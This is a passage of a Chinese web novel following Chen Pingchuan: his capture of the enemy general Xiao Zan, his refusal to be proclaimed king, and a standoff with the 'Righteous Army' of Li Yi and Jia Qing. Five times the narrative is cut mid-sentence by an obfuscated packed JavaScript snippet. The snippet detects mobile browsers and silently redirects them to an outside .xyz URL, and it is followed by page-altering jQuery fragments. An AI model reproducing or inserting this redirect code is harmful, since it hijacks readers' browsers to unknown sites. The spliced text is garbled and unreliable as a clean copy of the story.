一声脆响,那把精钢打造的佩刀,竟然像是砍在了石头上,直接被弹开了! 而石头的手,已经闪电般地抓住了他的脖子。 “咔嚓!” 一声清脆的骨裂声。 那名亲兵的脑袋,以一个诡异的角度,耷拉了下去。 石头随手将尸体扔到一边,如同扔一个破布娃娃。 他就像一头冲入羊群的猛虎,左右开弓,拳打脚踢。 那些训练有素的亲兵,在他天生神力的面前,根本不堪一击。 不是被一拳打得胸骨塌陷,就是被一脚踢得凌空飞起。 短短几个呼吸之间,挡在萧赞面前的最后一道人墙,就被他硬生生地撕开了一个巨大的缺口! 刚刚从地上爬起来,还有些晕头转向的萧赞,一抬头,就看到那张如同魔神般的脸,出现在自己面前。 他吓得魂飞魄散,两腿一软,一屁股坐倒在地,连滚带爬地想往后跑。 “别……别杀我!我投降!我投降!”他语无伦次地哀嚎着。 石头咧开大嘴,露出一口白牙,笑得像个天真的孩子。 但他伸出的手,却毫不留情。 他一把抓住萧赞的衣领,就像老鹰抓小鸡一样,轻而易举地将他那两百多斤的身体,从地上提了起来。 然后,随手往自己肩膀上一扛。 整个过程,行云流水,干净利落。 “将军被抓了!” “萧将军被生擒了!” 这一幕,被周围所有还在负隅顽抗的建州军士兵,看得清清楚楚。 主帅被擒,中军大旗倒下。 这成了压垮骆驼的,最后一根稻草。 “铛啷啷……” 第一个士兵,扔掉了手中的武器,跪倒在地。 紧接着,是第二个,第三个…… 兵器落地的声音,此起彼伏,连成一片。 数万建州军,在这一刻,彻底崩溃了。 他们纷纷扔掉武器,跪在血泊之中,高举双手,选择了投降。 百里坡的喊杀声,渐渐平息了。 只剩下风,吹过这片尸横遍野的山谷,发出呜咽般的声音。 陈平川立马于高坡之上,看着这满目疮痍的战场,看着那些跪地投降的士兵,神情平静如水。 他赢了,以一种近乎碾压的姿态。 不费吹灰之力,便全歼了建州府的三万主力,还顺手收复了一座富庶的州府。 缴获的粮草辎重,更是不计其数。 这一战,不仅为他清除了身边最大的一个威胁,也为他接下来的发展,打下了坚实的基础。 更重要的是,他向全天下,发出了一个最响亮的声音。 江徽府,不好惹! 他陈平川,更不好惹! …… 夜幕降临,江徽府知府衙门,灯火辉煌,人声鼎沸。 白日里血腥惨烈的战场,仿佛已经是上个世纪的事情。 一场盛大的庆功宴,正在这里举行。 大堂之内,陈平川麾下的所有文武将官,齐聚一堂。每个人的脸上,都洋溢着发自内心的,胜利的喜悦。 这一仗,打得太痛快了! 以几乎可以忽略不计的伤亡,全歼敌军三万! 还生擒了敌军主帅! 这是何等辉煌的战绩! 将领们推杯换盏,大声说笑着,互相吹捧着白天的勇武。 “石头!你小子今天可真是威风!一个人就把萧赞那胖子给扛回来了!来!哥哥敬你一碗!”海哥端着一个大碗,满脸红光地凑到石头跟前。 石头憨厚地挠了挠头,端起酒碗,一口气喝干,然后打了个酒嗝,瓮声瓮气地说:“是主公的计策好。” “哈哈哈,那是自然!主公神机妙算,运筹帷幄!那萧赞就是个蠢猪,自己跑进口袋里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226434|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让我们杀!”林勇也是满脸兴奋,“今天我可砍爽了!那些建州兵,根本不堪一击!” 众将纷纷附和,言语之间,对陈平川的崇敬和拜服,已经达到了顶峰。 陈平川坐在主位上,微笑着看着这一切。 他没有怎么喝酒,只是静静地享受着这胜利的氛围。 他知道,经过这一战,他麾下的这支军队,才算是真正完成了磨合。无论是原先的靖海营,还是新降的定海水师,亦或是鬼愁涧收编的囚徒,在共同经历了这样一场大胜之后,已经彻底拧成了一股绳,真正拥有了属于“陈家军”的荣誉感和归属感。 “带上来!” 酒过三巡,陈平川淡淡开口,声音不大,却让整个大堂瞬间安静了下来。 很快,五花大绑,形容枯槁的萧赞,被两名士兵押了上来,重重地按跪在大堂中央。 喧闹的大堂,再次安静了下来。 所有人的目光,都集中在了这个曾经不可一世的建州之主身上。 萧赞抬起头,看着高高在上的陈平川,眼神里充满了怨毒和不甘。 “成王败寇,没什么好说的。”他声音嘶哑,“要杀要剐,悉听尊便!我萧赞要是皱一下眉头,就不算好汉!” “好汉?”陈平川像是听到了什么天大的笑话,忍不住轻笑出声。他端起酒杯,饶有兴致地晃动着杯中清澈的酒液,“在我面前叫嚣要踏平江徽府的时候,你可曾想过自己是好汉?派使者来我这里,索要钱粮,还想让我给你当孙子的时候,你可曾想过自己是好汉?” 他站起身,一步步走到萧赞面前,居高临下地看着他。 “你不是好汉,你只是一个被野心撑破了肚皮,却又没有与之相匹配的脑子的,蠢货。” “你!”萧赞被这句话,刺得满脸通红,气得浑身发抖。 “我什么?”陈平川脸上的笑意更浓,他优雅地俯下身,凑到萧赞耳边,用一种近乎温柔的语气,说着最冰冷的话,“我不仅要你的建州府,还要用你的项上人头,去给京城里某些人提个醒。所以,萧将军,省省力气,准备体面上路吧。” 说完,他直起身,掸了掸本就不存在的灰尘,这才懒洋洋地挥了挥手:“拉下去吧。明日午时,于市口斩首。对了,把首级用石灰好生腌制了,八百里加急送去京城,就说是我这个江徽府小小的团练使,孝敬梁太后和梁国舅的寿礼。” “是!” 萧赞被人死死捂住嘴拖了下去,嘴里发出“呜呜”的绝望咒骂,但很快就被粗暴地打晕,彻底没了声息。 第316章 称王?格局小了,先发育别浪! 大堂内,再次爆发出雷鸣般的欢呼声。 “主公英明!” “杀了这狗贼!大快人心!” 气氛,在这一刻,被推向了最高潮。 就在这时,海哥和林勇对视了一眼,仿佛下定了什么决心。 两人一起,走到了大堂中央。 “扑通!” 他们齐刷刷地,对着陈平川,单膝跪了下去。 “主公!”海哥扯着嗓子,满脸激动地喊道,“如今,定海水师已灭,建州府已平!我江南之地,尽在主公掌握之中!主公功盖当世,威震四海,实乃天命所归!” 林勇也跟着大声说道:“是啊主公!如今大业朝廷,名为朝廷,实为梁氏一族的私产!皇帝昏聩,奸臣当道,民不聊生!我等恳请主公,顺应天意,顺应民心,就在这江徽府,登基称王!我等愿誓死追随,为主公建立不世之基业!” 他们话音刚落,林沧海、丁远、石头……所有在场的将领,除了少数几位文官,全都站了起来,齐刷刷地跪倒在地。 “请主公登基称王!” “请主公登基称王!” “请主公登基称王!” 山呼海啸般的声音,回荡在整个大堂之内。 每一个人的眼神里,都充满了狂热和期待。 在他们看来,陈平川建立不世功勋,理应得到与之匹配的地位和名号。 称王,是理所当然,是水到渠成! 而他们这些最早追随的元从,便是开国的功臣,封侯拜将,光宗耀祖,指日可待。 陈平川静静地站在那里,看着跪倒在地的众人,看着他们一张张激动的脸。 他没有立刻说话,眼神深邃,让人看不出他在想什么。 大堂之内,只剩下众人沉重的呼吸声。 所有,都在等待着他的回答。 等待着,那个他们期盼已久的,答案。 时间,仿佛在这一刻静止了。 大堂之内,数百双眼睛,都灼灼地盯着陈平川,眼神里充满了狂热的期盼。 “请主公登基称王!” 山呼海啸般的声音,还在梁上回荡。 这是他们所有人的心声,是他们追随陈平川打生打死,最渴望看到的结果。 然而,陈平川的反应,却出乎了所有人的预料。 他没有激动,没有欣喜,甚至连一丝笑容都没有。 他的脸上,是一种超乎年龄的平静和严肃。 他缓走下台阶,亲自将跪在最前面的海哥和林勇,扶了起来。 “海哥,林勇,你们都起来。” 他的声音,沉稳而有力,带着一股安抚人心,却又不容置疑的力量。 接着,他又转向其他人。 “大家也都起来吧。” 众人有些不明所以,但还是听从命令,陆陆续续地站了起来,只是脸上的疑惑和期待,丝毫未减。 陈平川环视众人,目光从每一位将领的脸上扫过。 他能看到他们眼中的渴望,能理解他们此刻的心情。 但他知道,现在,绝不是时候。 “我知道,大家都是为了我好,也是为了我们共同的事业好。”陈平川缓缓开口,声音传遍了大堂的每一个角落,“大家的心意,我陈平川,心领了。” 他顿了顿,话锋一转。 “但是,王,现在不能称。” 什么? 此言一出,满堂哗然。 “主公,为何啊?”海哥性子最急,忍不住第一个问道,“如今大好形势,正是咱们竖起大旗,招揽天下英雄的好时机啊!您要是称了王,名正言顺,那些还在观望的豪杰,肯定会闻风来投的!” “是啊主公!”林勇也附和道,“咱们现在地盘有了,兵马也有了,钱粮更是不缺!万事俱备,只欠一个名分了!您还在犹豫什么?” 众将也是议论纷纷,都觉得无法理解。 陈平川抬起手,示意大家安静。 他走到巨大的地图前,指着北方,神情严肃地问道:“我问你们,萧赞,算是什么东西?” “一个蠢货罢了!”海哥不屑地说道。 “没错!”陈平川点了点头,“一个只知道盯着自己家门口一亩三分地的蠢货。打败他,不值得我们沾沾自喜。” 他的手指,在地图上缓缓上移,最后,重重地点在了长城一线。 “我再问你们,我们真正的敌人,是谁?” 众人顺着他的手指看去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232319|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情都变得凝重起来。 “是北方的蛮族!”林沧海沉声回答。 “是京城里,那个祸乱朝纲的梁家!”丁远补充道。 “说得对!”陈平川的声音,陡然提高了几分,“我们的敌人,是拥有五十万铁骑,随时可能踏破山河的草原霸主塔尔罕!是盘踞京城,掌控着大义名分,依旧瘦死的骆驼比马大的梁氏朝廷!” “跟他们比起来,我们现在这点家当,算得了什么?不过是大江边上,一个稍微大一点的土堆罢了!” “现在就急着称王,我们能得到什么?除了一个虚名,什么也得不到!反而会让我们,立刻成为众矢之的!成为梁氏朝廷必须不惜一切代价要剿灭的头号逆贼!成为北方那些野心家南下时,第一个要啃的硬骨头!” “到时候,四面受敌,腹背受创!我们这点好不容易打下来的基业,顷刻之间,就会化为乌有!” 陈平川的一番话,如同一盆冷水,狠狠地浇在了所有头脑发热的将领头上。 他们脸上的狂热,渐渐褪去,取而代之的,是沉思和后怕。 他们只看到了眼前的胜利,却忘了,在这片天下棋局上,还有更强大,更可怕的对手,在虎视眈眈。 陈平川看着众人的反应,知道他们已经听进去了。 他缓和了一下语气,继续说道:“所以,我等现在要做的,不是争那虚无缥缈的王位,而是应该——” 他拿起笔,在地图旁边的白墙上,写下了九个大字。 “高筑墙,广积粮,缓称王!” “什么意思?”海哥挠了挠头,他是个粗人,听不懂这些文绉绉的。 陈平川笑了笑,解释道:“意思就是,我们要利用现在这段宝贵的时间,关起门来,办好我们自己的事。” “高筑墙,就是要加强我们的防务。不仅是江徽府,还有刚刚拿下的建州府,都要修建坚固的城墙和堡垒,让我们的大后方,稳如泰山!” “广积粮,就是要大力发展民生,鼓励农桑,开垦荒地。只有我们仓库里的粮食堆成山,我们才有底气,去打任何一场持久战!” “而最重要的,就是这‘缓称王’!” 第317章 潜龙在渊,其志在天下 “我们不称王,在天下人眼里,我们和萧赞、和各地那些割据的势力,就没有本质区别。朝廷的注意力,就不会只集中在我们身上。我们可以打着‘清君侧,诛**’的旗号,继续积蓄力量。闷声,才能发大财!” “等到有一天,我们的墙,足够高!我们的粮,足够多!我们的兵,足够强!等到天下大乱,群雄并起,等到时机真正成熟的时候……” 陈平川的眼中,闪烁着智慧和自信的光芒。 “我们再振臂一呼,取那天下,便如探囊取物!” 一番话,说得堂下众将,是热血沸腾,心潮澎湃。 他们之前只觉得主公能打,现在才发现,主公的眼光和胸襟,更是远超常人! 是啊,跟整个天下比起来,一个小小的王位,又算得了什么? 主公的志向,根本就不在此! “主公深谋远虑,我等……我等实在是目光短浅!险些误了主公大事!”林沧海第一个站出来,满脸羞愧地躬身行礼。 “主公,俺服了!俺是彻底服了!”海哥一拍大腿,真心实意地说道,“还是您看得远!俺以后,就听您的!您说怎么干,俺就怎么干!” “我等,誓死追随主公!” 这一次,堂下众将再次跪倒,但他们的眼神里,不再是之前的狂热,而是一种更加坚定,更加信服的,死心塌地的追随。 他们知道,跟着这样一位主公,他们未来能得到的,绝不仅仅是一个小小的封侯拜将。 而是整个天下! 陈平川欣慰地看着众人,将他们一一扶起。 他的目光,再次落回到那张巨大的地图上。 建州府,已经纳入囊中。接下来,就是如何消化这片新的地盘,如何安置那数万降兵。 路,还很长。 “好了,称王的事,以后谁也不许再提。”陈平川一锤定音,“饭要一口一口吃,路要一步一步走。眼下,我们最要紧的事,是把建州府这块新地盘,彻彻底底地,变成我们自己的地盘!” 他转身,重新回到地图前,手指在建州府的版图上重重一点。 “传我命令!” “在!”众将齐声应喝,神情肃穆。 “林沧海!” “末将在!” “你立即带人,全面接管建州府的城防。所有关隘、要道,必须在三天之内,换上我们的人!记住,任何敢于反抗的,格杀勿论!” “遵命!”林沧海躬身领命。 “丁远!” “末将在!” “你的镇海舰队,沿江巡航,封锁建州府所有水路出口!没有我的手令,一只苍蝇也不许飞出去!” “遵命!”丁远眼中闪烁着兴奋的光芒。他知道,这是主公在给他机会,让他这个新降之人,用行动来证明自己的忠诚。 “石头,林勇!” “在!”两个猛将同时出列。 “你们二人,率领破虏军,即刻开赴建州府各地,清剿残余势力,维持地方治安!我给你们一道特权,凡建州府内,原萧赞麾下的校尉以上军官,但凡有民怨大的,作恶多端的,不必上报,可就地正法!把他们的家产,全部分给被他们欺压过的百姓!” “得令!”石头和林勇对视一眼,都看到了对方眼中的杀气。这道命令,简直太对他们的胃口了。 “至于那几万降兵……”陈平川沉吟了片刻,“先打散,分开关押。告诉他们,只要他们肯安分守己,我陈平川保证他们有饭吃,有衣穿。愿意为我效力的,以后有的是机会。想回家的,等建州府彻底安定下来,我会发给路费,让他们回家种地。” 一道道命令,从陈平川口中有条不紊地发出。 整个江徽府的战争机器,再次高效地运转起来。 众将领命而去,原本喧闹的大堂,很快就安静了下来。 陈平川揉了揉有些发胀的太阳穴,连续多日的谋划和征战,饶是他精力过人,也感到了深深的疲惫。 然而,他知道,现在还不是休息的时候。 打天下难,守天下,治理天下,更难。 建州府虽然拿下了,但如何收拢民心,如何恢复生产,如何将这片土地的潜力,全部激发出来,才是真正考验他能力的地方。 他需要人才,大量的,能够独当一面的文官和治理型人才。 “马三。”陈平川对着空无一人的角落,淡淡地喊了一声。 一道身影如同鬼魅般,悄无声息地出现在大堂中央,正是暗影六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232320|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子中的“追风”马三。 “主公,有何吩咐?”马三躬身行礼,脸上依旧是那副市侩精明的笑容。 “我们的人在建州府,铺得怎么样了?”陈平川问道。 “回主公,以江徽府为中心,方圆五百里之内,都已经有了我们的人。各大城池的茶馆、酒楼、驿站,都有我们的眼线。只要是地面上发生点什么风吹草动,不出十二个时辰,消息就能送到您案头。”马三自信地说道。 “很好。”陈平川点了点头,对这个效率还算满意。“我要你立刻去办一件事。” “主公请讲。” “给我找人。”陈平川的眼中,闪烁着对人才的渴望,“不管是落魄的书生,还是不得志的小吏,只要是有真才实学,品行端正的,都给我请来!告诉他们,我陈平川这里,不看出身,不看门第,只看能力!只要他敢来,我就敢用!” “明白!”马三眼睛一亮,他知道,主公这是要大展拳脚了。 “还有,”陈平川补充道,“密切关注北方和京城的动向。尤其是……那些打着各种旗号,正在四处流窜的所谓‘义军’。” “是。”马三领命,身影一闪,便再次消失在了阴影之中。 接下来的日子里,陈平川几乎是连轴转。 白天,他处理堆积如山的公务,接见建州府投诚过来的大小官员,安抚地方士绅。 晚上,他则在书房,就着昏暗的烛光,亲自规划着未来的发展蓝图。 开垦荒地,兴修水利,减免赋税,开设学堂…… 一条条惠民的政策,从他笔下流出,通过一张张告示,传遍了建州府的每一个角落。 百姓们从最初的将信将疑,到后来的欢欣鼓舞,仅仅用了不到半个月的时间。 他们发现,这位新来的陈大人,跟以前那些只知道搜刮民脂民膏的官老爷,完全不一样。 他是真的在为老百姓办实事! 一时间,“陈青天”的名号,在民间不胫而走。 整个建州府,正在以一种肉眼可见的速度,迅速地恢复着生机。 这天下午,陈平川刚刚处理完一批公文,正准备歇口气,一名亲兵神色匆匆地走了进来。 “主公,紧急军情!” 第318章 恶客登门狮子口,主公冷眼看跳梁 陈平川心中一凛,立刻坐直了身体。“说。” “禀主公,北边传来消息,有一支号称十万人的‘正义军’,正在快速向我们建州府靠近!其先头部队,距离边境已不足百里!” “正义军?”陈平川眉头微皱,这个名字,他似乎有点印象。 他走到地图前,目光在北方的广袤土地上扫过。 “他们的首领是谁?打的是什么旗号?” “回主公,其首领名叫李义,打着‘替天行道,解救万民’的旗号,据说在北方一带,声望颇高,许多活不下去的流民都去投奔他。” “又是替天行道?”陈平川冷笑一声。 这个世道,什么阿猫阿狗,都敢自称替天行道了。 “天算司有关于这支军队的情报吗?” “有!”亲兵连忙从怀中掏出一份密封的卷宗,双手呈上,“这是张大人刚刚派人八百里加急送来的。” 陈平川拆开卷宗,迅速地浏览起来。 情报很详细,将这支“正义军”的底细,扒了个底朝天。 首领李义,原本是北方一个大户人家的护院头子,为人颇有几分侠义心肠,因为不满官府欺压,杀了当地的县令,拉起了一支队伍。 起初,这支队伍军纪尚可,也确实做了一些劫富济贫的事情,因此博得了不小的名声。 但随着队伍的壮大,人员越来越混杂,李义本人又缺乏长远的眼光和足够的掌控力,导致这支所谓的“正义军”,渐渐变了味。 所过之处,烧杀抢掠,与蝗虫过境,已无太大区别。 而真正让陈平川瞳孔一缩的,是情报最后提到的一个名字。 “副将是……贾青?” 陈平川的脑海中,瞬间浮现出那个围困庐州府,眼神阴郁,充满了嫉妒和不甘的落魄书生。 天公将军,贾青! 他竟然还没死! 情报上,详细描述了贾青兵败庐州之后,如何像一条丧家之犬般仓皇逃窜,如何隐姓埋名,又是如何凭借着他那三寸不烂之舌和阴狠的手段,一步步取得了李义的信任,最终坐上了副将的位置。 “有意思,真是有意思。”陈平川的嘴角,勾起一抹冰冷的弧度。 他几乎可以肯定,这支所谓的“正义军”突然南下,绝不是什么巧合。 这背后,必然是贾青在捣鬼! 这个家伙,亡我之心不死啊! “主公,我们该怎么办?要不要立刻派兵,在边境线上布防?”亲兵紧张地问道。 “布防?”陈平川摇了摇头,“不,来不及了。” 他的手指,在地图上缓缓划过,最终停留在一个点上。 “我知道了。”陈平川的眼神,变得锐利起来,“贾青这个家伙,是想借李义这把钝刀,来试探我的深浅。如果我表现得软弱,他恐怕会毫不犹豫地,一口将整个建州府吞下去!” “好一个避实击虚,好一个一石二鸟之计!” 陈平川不得不承认,这个贾青,虽然人品不怎么样,但脑子确实够用。 可惜,他找错了对手。 “主公,那……” “无妨。”陈平川淡淡地说道,“兵来将挡,水来土掩。他想玩,我便陪他玩玩。” 他抬起头,眼中闪过一丝戏谑。 “传令下去,让边境的守军,稍安勿躁,严守关卡,不许主动挑衅。” “另外,派人去告诉他们,就说我陈平川,欢迎天下所有的‘义军’前来会盟。” “啊?”亲兵愣住了,“主公,这……” “照我说的做。”陈平川挥了挥手,“我倒要看看,这个贾青,葫芦里到底卖的什么药。” 他很清楚,对付贾青这种阴险小人,不能急。 你越是表现得气急败坏,他就越是得意。 最好的办法,就是摆出一副云淡风轻,一切尽在掌握的姿态,让他摸不透你的底牌。 果然,不出陈平川所料。 两天后,一支使者队伍,打着“正义军”的旗号,大摇大摆地来到了建州府城下。 …… 建州府,知府衙门。 大堂之内,气氛有些凝重。 陈平川高坐主位,堂下左边,是林沧海、海哥、丁远等一众核心将领,一个个面色不善,眼神里带着几分煞气。 右边,则是十几名刚刚归附不久的建州府原官员,以原建州府长史王康为首,这些人则显得有些局促和不安。 大堂中央,站着三名身穿“正义军”服饰的使者,为首的一人,约莫三十来岁,留着山羊胡,一脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232321|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傲气,正口若悬河地说着。 “陈大人,我家李将军说了,咱们都是反抗大业**的兄弟,理应同气连枝,守望相助。” “如今我军自北方而来,将士们一路征战,人困马乏。听闻陈大人新得建州府,兵强马壮,粮草充足,真乃可喜可贺啊!” “所以,李将军特派我等前来,希望陈大人能发扬一下兄弟情谊,打开城门,让我十万大军入城休整几日。这粮草嘛……还请陈大人先‘借’我们一批,以解燃眉之急。当然了,我们也不能白吃白住,等日后我们打下了更富庶的地盘,一定加倍奉还!” 这番话说得是“恳切”无比,仿佛陈平川不开门借粮,就是不仁不义,就是破坏天下义军团结的大罪人。 “噗嗤。” 海哥一个没忍住,笑了出来。 那山羊胡使者脸色一沉,瞪着海哥:“你笑什么?” “俺笑你这脸皮,比咱们船上的铁锚还厚!”海哥大大咧咧地说道,“什么叫借?张嘴就十万大军的粮草,你们怎么不去抢?哦,不对,你们这不就是在明抢吗?” “你!”山羊胡使者气得胡子都翘了起来,“粗鄙武夫,简直不可理喻!我乃是与陈大人商议军国大事,岂有你插嘴的份!” “嘿!你个小白脸还敢骂俺?”海哥眼一瞪,就要站起来。 “海哥,坐下。”陈平川淡淡地开口,声音不大,却让海哥瞬间没了脾气,悻悻地坐了回去,只是嘴里还在小声嘀咕着。 陈平川的目光,落在那山羊胡使者身上,脸上看不出喜怒。 “阁下说完了?” “说完了!”山羊胡使者昂着头,一副理所当然的样子。在他看来,他们正义军势大,陈平川不过是占据一隅之地,理应巴结他们才对。 “嗯。”陈平川点了点头,端起茶杯,轻轻抿了一口。 他没有说话,大堂里的气氛,便愈发压抑。 那山羊胡使者被他看得有些发毛,额头上渐渐渗出了冷汗。 他搞不清楚陈平川葫芦里到底卖的什么药。 这种平静,让他心里没底。 就在他快要撑不住的时候,陈平川终于放下了茶杯。 “本官,有三个问题。” “陈大人请讲。” 第319章 雄兵十万叩我关,一言索命惊敌胆 “第一,”陈平川伸出一根手指,“你们号称十万大军,为何要跑到我这江南之地来?这里天气闷热潮湿,蛇虫肆虐,将士们水土不服怎么办?这不合常理。” 山羊胡使者眼珠一转,立刻答道:“陈大人有所不知,北方**凶残,朝廷的主力又都集中在北边,我们这是……这是战略转移,避实击虚!” “哦?避实击虚?”陈平川笑了笑,不置可否。 “第二,”他又伸出一根手指,“你说,你们是替天行道,解救万民的义师。可为何我收到的情报却是,你们所过之处,百姓流离失所,与匪寇无异?” “这……这是污蔑!是朝廷的走狗在恶意中伤我们!”山羊胡使者脸色一白,急忙辩解道,“我军军纪严明,秋毫无犯,深受百姓爱戴!” “是吗?”陈平川的笑容,变得有些玩味。 他没有再追问,而是伸出了第三根手指。 “第三个问题,也是最后一个问题。”他的声音,陡然转冷,“你家副将贾青,现在何处?他怎么没跟着一起来?” “贾……贾将军?”山羊胡使者听到这个名字,明显地愣了一下,眼神中闪过一丝讶然。 他怎么会知道贾将军? 贾青千叮万嘱,让他们来的时候,千万不要提自己的名字! “贾将军他……他身体不适,正在后军休养。”山羊胡使者结结巴巴地回答。 “是吗?”陈平川站起身,一步步地,从台阶上走了下来。 一股无形的压力,笼罩了整个大堂。 “回去告诉李义,也告诉他身后的贾青。”陈平川走到使者面前,居高临下地看着他,一字一句地说道。 “我陈平川的地盘,不欢迎心怀鬼胎之辈。” “想入城休整?可以。” “想借粮?也可以。” 山羊胡使者闻言,眼中闪过一丝喜色,以为陈平川是怕了,服软了。 可陈平川接下来的话,却让他如坠冰窟。 “让你们的十万大军,全部放下武器,接受我的整编。我保证,让他们每个人都吃得饱,穿得暖。” “至于粮草,你们想要多少,我给你们多少。就用贾青的人头来换!” “你……你……”山羊胡使者吓得脸色惨白,两腿一软,差点瘫倒在地。 他终于明白,眼前这个年轻人,根本就不是什么可以随意拿捏的软柿子。 这是一头笑里藏刀的猛虎! 他什么都知道! “走吧!”陈平川懒得再多看他一眼,转身走回主位。 “把他们轰出去!”海哥早就等不及了,立刻像拎小鸡一样,把那三个吓傻了的使者,扔出了知府衙门。 “主公,英明!”林沧海等人齐声赞道。 这番应对,既表明了强硬的立场,又狠狠地羞辱了对方,实在是痛快! 然而,那些建州府的降官,却不这么想。 长史王康犹豫了再三,还是硬着头皮站了出来。 “陈……陈大人,下官有句话,不知当讲不当讲。” “说。”陈平川的目光扫了过去。 王康被他看得心头一颤,还是躬身说道:“大人,那李义的正义军,毕竟号称十万之众,而且同样是打着反抗朝廷的旗号。我等……我等与他们,也算是同道中人。如今这般决绝地回绝,还出言羞辱,怕是会……会激怒他们,引来一场大战啊!” “是啊,大人!”另一名官员也附和道,“建州府刚刚经历战火,百废待兴,实在不宜再起刀兵了。依下官之见,不如……不如先虚与委蛇,送些钱粮,将他们打发走便是。没必要把关系搞得这么僵。” “打发?你们觉得,给点钱粮,就能打发掉一头饿狼吗?”陈平川冷冷地反问。 “你们只看到了李义的十万大军,却没有看到,他身后那条叫贾青的毒蛇!” “今日我们若是退了一步,开了城门,送了粮草。明日,他就会得寸进尺,要我们整个建州府!到时候,我们就是开门揖盗,引狼**!” 陈平川的声音,回荡在大堂之内,带着不容置疑的威严。 “我意已决!” “传令下去,全城**!所有将士,上城墙,入战位!准备迎敌!” “我倒要看看,他李义和贾青,有没有这个胆子,来啃我这块硬骨头!” 王康等人被他这股霸气所慑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232322|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一个个噤若寒蝉,再也不敢多说半个字。 他们心中暗自叫苦,这位新主公,年纪轻轻,手段却如此强硬,也不知道是福是祸。 …… 城外,正义军大营。 李义正焦急地等待着消息。 当他看到被狼狈轰回来的山羊胡使者,听到陈平川那番话后,气得火冒三丈,一脚踹翻了面前的桌子。 “岂有此理!狂妄!实在是太狂妄了!” 李义生得人高马大,一脸的络腮胡子,看上去颇有几分威猛之气。 “一个毛头小子,侥幸占了建州府,就敢不把老子放在眼里!我看他是活得不耐烦了!” 他怒吼着,就要下令全军攻城。 “将军,息怒!” 一个阴柔的声音,从旁边传来。 只见一个面色白净,眼神阴鸷的文士,缓缓走了出来,正是贾青。 “将军,此时攻城,并非上策。”贾青摇着羽扇,一副智珠在握的样子。 “贾先生,你这是什么意思?”李义不满地看着他,“那陈平川都欺负到我们头上了,难道就这么算了?” “当然不能就这么算了。”贾青眼中闪过一丝寒光,“但此仇,不可急报。” “据我所知,那陈平川诡计多端,手下兵精粮足,更有犀利的火器。我们若是强攻,即便能拿下建州城,也必然是伤亡惨重,得不偿失。” “那你说怎么办?”李义虽然恼火,但对贾青还是有几分信服的。这一路上,全靠贾青的计谋,他才能发展得如此顺利。 贾青微微一笑,凑到李义耳边,低声说道:“将军,我们可以……” 他压低了声音,将自己的毒计,全盘托出。 李义听着,脸上的怒气渐渐消散,取而代之,是一种贪婪和兴奋。 “好!好计策!就照先生说的办!” 李义一拍大腿,哈哈大笑起来。 “传我将令!大军后退十里安营,将建州城,给我团团围住!我倒要看看,他陈平川能撑多久!” 很快,正义军的营帐,便如同雨后春笋般,在建州城外扎了下来,连绵十数里,黑压压的一片,将整个建州城,围得水泄不通。 第320章 致命的道!故人仗剑,替天**! 夜,深了。 建州城的城墙上,火把熊熊燃烧,将士卒们紧张的脸庞照得通红。 城外,正义军的营地里,也是灯火通明,一眼望不到头,如同盘踞在黑暗中的一头巨大怪兽,散发着令人窒息的压迫感。 山雨欲来风满楼。 整个建州城,都笼罩在一片紧张肃杀的氛围之中。 知府衙门,书房内。 陈平川却仿佛丝毫没有受到外界的影响。 他依旧坐在书案后,就着一盏孤灯,面前铺着一张巨大的建州府及周边区域的**。 他的手指,在地图上缓缓移动,脑中飞速地推演着各种可能性。 